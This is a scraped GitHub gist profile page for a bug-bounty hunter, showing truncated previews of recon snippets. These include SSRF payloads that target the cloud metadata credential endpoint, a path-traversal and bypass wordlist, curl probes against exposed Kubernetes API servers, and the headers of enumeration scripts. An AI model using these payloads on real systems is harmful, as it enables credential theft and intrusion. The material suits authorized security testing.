Skip to content

Instantly share code, notes, and snippets.

View bing0o's full-sized avatar
☠️
Human Error X-P

med pro bing0o

☠️
Human Error X-P
View GitHub Profile
#!/bin/bash
mem=$(free -m | awk 'NR==2{print $3*100/$2}' | awk -F. '{print $1}')
disk=$(df -h | awk '$NF=="/"{print $5}' | awk -F% '{print $1}')
cpu=$(top -bn1 | grep load | awk '{print $(NF-2)}' | awk -F. '{print $1}')
if [ "$cpu" -ge "80" ]
then
notify-send -u critical "The CPU Almost Filled: $cpu"
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
import os, time
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto import Random
#copied from: https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb
## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
!.gitignore
!.htaccess
!.htpasswd
%20../
%2e%2e//google.com
%3f/
%EXT%
%ff/
..;/
.7z
!.gitignore
!.htaccess
!.htpasswd
%20../
%2e%2e//google.com
%3f/
%EXT%
%ff/
..;/
.7z
@bing0o
bing0o / ports.txt
Last active October 11, 2019 14:40
10250: kubernetes / http://ghostlulz.com/exposed-kubernetes-api/
# https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Kubernetes
- Insecure API server
curl -k https://<IP Address>:8080
- Secure API Server
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
@bing0o
bing0o / subs.py
Last active March 21, 2020 13:48
#!/usr/bin/env python
yellow = "\033[93m"
green = "\033[92m"
blue = "\033[94m"
red = "\033[91m"
bold = "\033[1m"
end = "\033[0m"
(blue+bold+"""
#!/bin/bash
#
# cat ips | xargs -I% sh -c "host %"
# -z True if it's a zero | -n True if it's not a zero!
#
PRG=${0##*/}
Usage() {
while read -r info; do
#!/bin/bash
#
# bash script for directory brute forcing but it takes a list of directories
# and try it one by one on a list of domains
#set -x
Usage() {
while read -r line
do
#!/bin/bash
#
# script for subdomain enumeration using 4 of the best tools with some APIs:
# * findomain: https://github.com/Edu4rdSHL/findomain
# * SubFinder: https://github.com/projectdiscovery/subfinder
# * Amass: https://github.com/OWASP/Amass
# * AssetFinder: https://github.com/tomnomnom/assetfinder
#
# a perl version is being developed by @terminalforlife
# * https://github.com/terminalforlife/PerlProjects/tree/master/source/dominator